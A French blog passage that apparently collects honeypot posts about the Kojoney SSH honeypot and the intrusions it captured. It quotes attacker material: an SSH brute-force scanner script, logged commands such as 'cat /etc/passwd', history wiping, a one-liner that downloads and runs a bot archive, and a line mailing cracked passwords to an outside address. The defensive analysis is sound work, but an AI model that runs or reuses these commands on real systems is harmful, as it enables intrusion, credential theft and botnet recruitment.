#!/bin/bash
if [ $# != 1 ]; then
        echo "[+] Folosim : $0 [b class]"
        exit;
fi

echo "[+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+]"
echo "[+]   SSH Brute force scanner : user & password   [+]""
echo "[+]        Undernet Channel : #UnixCoD            [+]"
echo "[+][+][+][+][+][+][+] ver 0x10  [+][+][+][+][+][+][+]"
./find $1 22

sleep 10
cat $1.find.22 |sort |uniq > ip.conf
oopsnr2=`grep -c . ip.conf`
echo "[+] Incepe partea cea mai misto :D"
echo "[+] Doar  $oopsnr2 de servere. Exista un inceput pt. toate !"
echo "[=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=]"
echo "[+] Incepem sa vedem cate server putem sparge"
./atack 100
rm -rf $1.find.22 ip.conf
echo "[+] UnixCoD Scanner a terminat de scanat !"

- Un script d'automatisation pour générer des ips et lancer un binaire (qui n'est pas présent dans l'archive ou a été renommé)

Viennent ensuite les deux binaires appelés dans le script "unix" :
- find : un scanneur de ports qui sera lancé pour chercher les machines avec un port 22 ouvert. L'exécutable n'est pas strippé. Une analyse du binaire nous apprend que le développeur n'a pas utilisé select() et fait appel à la fonction time() pour vérifier l'état de ses sockets.
Même si le code n'a rien de particulier j'ai décidé de l'analyser histoire de passer le temps et d'apprendre à mieux me servir de HT
- atack : le brute forceur. Il récupérer les ips dans ip.conf, les login/pass dans data.conf et stocke es résultats dans un fichier vuln.txt
Unixcod
A noter qu'aucune backdoor n'est présente dans cette archive (il faut croire qu'il ne comptait pas revenir)

Troisième cas
Les scans pour la journée sont parvenus de Costa Rica (l'ISP du pays gère aussi l'électricité et les télécoms) puis du Mexique
L'attaquant semblait venir du Pérou (FAI : telefonica.com.pe)

Commandes exécutées :
uname -a
ps x
ps
bash
ls -a
cd ..
cd
ls -a
cd tmp
cat /etc/passwd

reconnexion du visiteur
cd videos
cat /etc/issue
ps
ps x
cd /var/tmp
help
adduser oscar
passwd
passwd
uname -a
boot
ls -a
ls
ps
ls -a
ps aux
mkdir ocm
cd ocm
ls -a
bash
wget freewebs.com/h0zk4r/udp.zip

Ensuite il a dû faire appel à un copain portugais (IP différente) qui a lancé les commandes suivantes :
unset HISTFILE HISTLOG HISTSAVE SCREEN
w
uname -a
who
wget
id
sh
history -c
exit

Le fichier zip contient un script de flood UDP en perl. J'ai des doutes sur son efficacité mais je n'ai pas fait de tests non plus.

Modifications
Les attaquants écourtent leurs visites à la vue des limitations du système simulé. Premièrement les visiteurs qui utilisent ce type de d'attaque bruyantes n'ont généralement qu'une connaissance limité de Linux et en dehors de quelques commandes toutes faites ils ne savent pas quoi tapper pour avoir les réponses aux questions qu'ils se posent. De plus ils ne semblent pas se douter qu'ils sont sur un honeypot et ne vont pas essayer de le vérifier (pourtant il existe des méthodes permettant par exemple de savoir si on est sur un système émulé).
Le problème principal de Kojoney est l'absence d'un système de fichier virtuel. Un 'ls' donnera toujours le même résultat même si l'intrus lance un 'cd', un 'touch', un 'mkdir' etc.
De plus pour la plupart des commandes Kojoney répondra par un "command not found" ou un "permission denied".

J'ai récemment apporté des changements à ma version de Kojoney afin que plus de commandes soient possibles. Par exemple le fait que les commandes internes à bash ne soit pas présentes risquait de donner de forts soupçons au visiteur.
J'ai aussi trouvé le moyen d'obtenir le nom du login pour la session en cours afin d'offrir une invite de commande personalisé du type "login@hostname $"
Des réponses toutes faites ont été ajoutées pour certaines commandes ("cat /proc/cpuinfo" par exemple) pour donner plus de réalisme.
Evidemment ce n'est pas parfait mais avec ces nouvelles modifications je pense bien doubler le temps de présence de mes visiteurs.

Télécharger mes modifications au format .tar.bz2

Classé dans : Non classé - Mots clés : honeypot

Intrusion du 24 novembre 2006

Rédigé par devloop - -

Pour plus d'information sur Kojoney, un honeypot ssh, reportez vous à un de mes précédents billets.

Une attaque brute force contre les comptes ssh a été lancée le 23 nomvembre aux alentours de 16 heures. La machine attaquante est localisée en norvège. Le FAI est telenor.no.
L'attaque est plutôt efficace et prend fin à 16h07 après avoir trouvé différents passwords par défaut (ftp, mysql, guest, admin).

Le 24 à minuit et 43 minutes, le pirate se connecte en utilisant le compte ftp. Son adresse IP le situe en Roumanie (FAI Romtelecom). Aucune autre visite n'a eu lieu entre la fin du brute force et son arrivée.
Plusieurs commandes sont lancés afin d'obtenir plus d'informations sur la machine :
uname -a
hostname
cat /proc/cpuinfo

Le visiteur vérifie aussi brievement la présence des commandes tar et wget.
Il va alors tenter à plusieurs reprises de télécharger une archive gzip (conf.tar.gz) mais qui échoue comme le honeypot est à "faible interraction" (aucune commande n'est réellement exécutée, tout est simulé)

Les fichiers présents dans cette archive sont (avec le résultat de la commande file) :
all.chr: data
alnum.chr: data
alpha.chr: data
auto: Bourne-Again shell script text executable
clean: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
digits.chr: data
do: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
ex.pl: perl script text executable
john: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
john.conf: ASCII English text
lanman.chr: data
mailer: Bourne shell script text executable
o: Bourne-Again shell script text executable
password.lst: ASCII English text
pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
try: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
unafs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unique: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unshadow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

Les noms de fichiers que j'ai mis en gras devraient être familier à tout ceux qui ont déjà utilisé John the Ripper (un casseur de mot de passe local). La personne qui a généré l'archive n'a visiblement pas fait le tri (unafs, mailer, lanman.chr et unique n'auront probablement pas d'utilité pour l'attaquant)

Le script 'o' lance john sur plusieurs fichiers (non présents) avec l'option -show pour afficher les password cassés. Le fichier a sans doute été mis par erreur ou laissé par oubli.
Le script 'auto' demande un début d'adresse IP (par exemple 192.168.0) et un nom de fichier. Il génère alors une liste d'ips à l'aide d'une boucle (0 -> 255)

Le script perl ex.pl est un exploit pour Webmin qui date de juillet 2006.

Les binaires sont assez énigmatiques. clean semble plus ou moins crypté pour cacher son rôle (un strings ne renvoit rien d'intéressant).
En réalité il lance juste la commande suivante : "rm -rf pass pass2 pass3 john.pot restore john.log ips bios.txt *.pscan.10* wget-log* spart* core*"
On peut se demander l'utilité de passer par un fichier ELF alors qu'un script shell aurait été plus rapide et surtout plus portable...

pscan2 est un scanneur de port horizontal (même port, ips différentes) assez simple qui enregistre les résultats dans un fichier. J'ai pu retrouver le fichier source sur Internet.

"ss" est pour le moins surprenant. Là encore le programme dissimule son contenu. En fait il s'agit d'un scanneur de port horizontal tout comme pscan2 mais bien plus évolué. Il est linké statiquement avec la librairie pcap et envoit des paquets SYN au lieu d'établir des connexions complètes. Le traffic est sniffé afin de détecter quelles machines répondent (et donc savoir celles qui ont un port ouvert).

Ce programme serait tout à fait lambda dans la trousse d'un pirate informatique si les machines qu'il scanne par défaut n'étaient pas aussi "spéciales".
Il semble avoir un intérêt tout particulier pour les sites gouvernementaux et militaires ainsi que les centres de recherches. Ainsi il envoit des paquets sur un bon nombre de .mil, de .gov (et .gov.*), des .edu (comme le célèbre MIT) etc etc.
Au moins on ne peut pas lui reprocher de faire de la discrimination : Washington, Tel Aviv... et même du côté du soleil levant... tout y passe !
Les résultats sont enregistrés dans un fichier "bios.txt"

Tout comme clean, "scan" est juste un script shell passé en binaire pour rendre plus difficile à comprendre son fonctionnement.
Après avoir définit un code couleur, il lance les commandes suivantes :
if [ $# != 1 ]; then
        echo se da: $0 <b class>
        exit;
fi

echo ${YEL}#@@@@@@@@@@@@@@@${BLU}MASSROOTER${YEL}@@@@@@@@@@@@@@@@@@#
echo ${YEL}############${BLU}By b-u-f-u ,lego & dary ${YEL}#########
echo ${YEL}###############${RED}PRIVATE SHIT${YEL}##################
echo ${RES}

./pscan2 $1 20000
sleep 10
cat $1.pscan.20000 |sort |uniq > ips
./do ips
rm -rf ips
echo ${DGRN}#BAFTA!....
echo ${RES}

Ce script utilise pscan2 pour trouver des machines ayant un port Webmin ouvert (20000) puis pour chaque machine correspondant à ces critères il appelle le programme 'do'
Là vous vous demandez "mais à quoi sert le binaire do ?"
Et bien c'est la partie qui automatise l'attaque. Pour chaque adresse IP trouvée dans le fichier passé en paramêtre (ips dans ce cas), l'exploit pour Webmin est lancé et va tenter d'accèder au fichier /etc/shadow du serveur. Différentes tentatives sont faites afin de couvrir différents systèmes (par exemple master.passwd pour BSD)
Les résultats obtenus sont placés dans les fichiers pass, pass2, pass3.
Pour chacun de ces fichiers John the Ripper est lancé en tâche de fond afin de casser les mots de passe. Le résultat final c'est les éventuels passwords trouvés mis dans un fichier "vuln" et envoyés sur une boîte mail :
cat vuln | mail -s woot woot $1 conf.team@gmail.com

La commande try semble faire la même chose que do

L'intrusion en elle même n'était pas exceptionnelle mais les binaires étaient pour le moins intéressants...
L'étude a été faite dans un environnement chrooté avec des outils comme strace, ltrace et SoapBox

Classé dans : Non classé - Mots clés : honeypot

Kojoney

Rédigé par devloop - -

Article initialement publié en septembre 2006.

KojoneyKojoney est un honeypot à faible interaction.
Développé en Python et basé sur les librairies réseau Twisted, il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passes faibles.

Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hazard et qui tentent une attaque par froce brute sur les mots de passes, ciblant principalement les mots de passes par défaut ou ceux dont l'utilisateur n'a pas fait preuve d'imagination.

L'institut SANS tient à jour un classement des 20 vulnérabilités qu'il juge les plus critiques. Pendant très longtemps l'utilisation de mots de passes facilement trouvables était en tête du classement mais il semble qu'avec la prolifération des vers, des spywares et autres malwares, les mauvais mots de passes ont une importance moindre. Pourtant ils sont et seront toujours présents.

Si vous vous promenez sur les forums spécialisés Linux vous avez sans doute déjà vu quelques personnes se plaindre de ces attaques. Et même si la plupart du temps ces attaques échouent, elles font beaucoup parler d'elles.

Kojoney vous permet d'analyser ce traffic. Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes tappées par le pirate dès que celui-çi a trouvé un des comptes utilisé par Kojoney.

Kojoney a plusieurs défauts, même s'il n'en est pas forcément le responsable. Premièrement il faut avouer que les pirates qui effectuent de telles attaques ne sont généralement pas d'un niveau très élevé. Il faut dire qu'effectuer des attaques brute-force est ce qu'il se fait de moins discret. Ca génère une quantité de logs impressionants, c'est facilement détecté par des logiciels de surveillance et même un informaticien débutant peut se douter qu'il se passe quelque chose de louche en voyant sa bande passante réduite aussi vite.
Le second problème est qu'il ne fait que simuler un serveur SSH. Techniquement le programme ne fait que boucler sur ce que tappe l'utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...)

Toutefois avec les versions 0.0.4 il est possible pour ceux qui ont quelques connaissances en Python de rajouter très facilement des commandes à ce shell virtuel.
J'utilise Kojoney depuis un bon boût de temps maintenant et j'y ai apporté quelques retouches (c'est tout l'avantage des logiciels libres) afin de rendre l'environnement plus réaliste. Malheureusement toute la partie gestion du terminal est laissée à la librairie Twisted Conch et certaines modifications semblent impossibles à apporter (utilisations des flèches pour gérer l'historique, utilisation de la touche backspace...)

La version 0.0.4.1 apporte une nouvelle fonctionnalité : télécharger dans le dossier /var/log/kojoney les fichiers que les pirates auront tenté de rapatrier avec wget ou curl.

La lecture des logs peut être assez longue, heureusement différentes commandes permettent d'obtenir un résultat plus lisible. Le principal utilitaire est kojreport qui génère des statistiques sur les attaquants (pays les plus actifs, commandes les plus utilisés etc)

Rien qu'au niveau des logiciels d'attaques utilisés ont remarque des différences : certains continuent d'attaquer après avoir trouvé un mot de passe, d'autre s'arrêtent au premier compte obtenu.
La plupart du temps les pirates se servent d'une machine compromise pour effectuer l'attaque et se connectent au compte en utilisant une autre machine (leur machine perso ?) Généralement les attaquants sont humains mais quelques fois on a affaire à des outils automatisés qui lancent des commandes en aveugle, par exemple :
wget free-ftp.org/trkalce/botovi.tar.gz;tar -zxvf botovi.tar.gz;cd bots;chmod +x inetd;./inetd

Quelques attaquants se concentrent uniquement sur le compte root, allant parfois jusqu'à ne tenter qu'un seul mot de passe (root/root ?).
Les premières actions des pirates consistent généralement à vérifier s'ils sont seuls sur la machine (w ou who), à savoir où ils sont (pwd, ls) et sur quoi ils se trouvent (uname, uptime). Ensuite ils tentent de changer le mot de passe (passwd) - pour éviter que quelqu'un passe dérrière eux - et téléchargent une backdoor.

Dans la grande majorité des cas il s'agit d'un bot irc. Le programme se connecte à un serveur IRC, dans un cannal donné et attend que quelqu'un sur ce cannal lui donne des ordres. La machine vient très probablement se rajouter à un botnet.

Les pirates ne maîtrisent pas tous Linux comme ils le devraient et abandonnent très vite en voyant que certaines commandes ne sont pas présentes ou leur sont interdites. Ils manquent de curiosité et ne prennent pas le temps de comprendre ce qu'il se passe.

Pour tout dire, un seul a jusqu'à présent eu l'intention de passer root.
Il a téléchargé un binaire nommé 'hat' à l'adresse dogg-crew.com/nightfox/hat. Après l'avoir placé dans un chroot et l'avoir 'stracé' j'ai très vite compris qu'il s'agissait d'un exploit pour une faille dans les kernels 2.4 (do_brk). Le nom de l'exploit complet étant hatorihanzo on comprend mieux le nom du fichier.

Le binaire a d'autres particularités intéressantes. Tout d'abord il semble vérolé et est détecté comme étant Virus.Linux.Osf.8759 (ou Linux/OSF.A)
Il faut avouer que le fichier est assez imposant (423Ko) même pour un programme compilé statiquement. Une grande partie du code semble être crypté et certains désassembleurs se cassent les dents dessus :
Linux/OSF.A
On comprends mieux où se trouve la signature du virus.
Même en le désassemblant avec gdb je ne suis pas parvenu à voir autre chose que la partie exploit du fichier, mais mes connaissances en virus sont très limitées.

J'espère que ce billet vous aura donné l'envie d'installer Kojoney.
Je vous recommande, une fois l'installation effectuée, de télécharger mes modifications et de remplacer les fichiers de la version originale.

Classé dans : Non classé - Mots clés : honeypot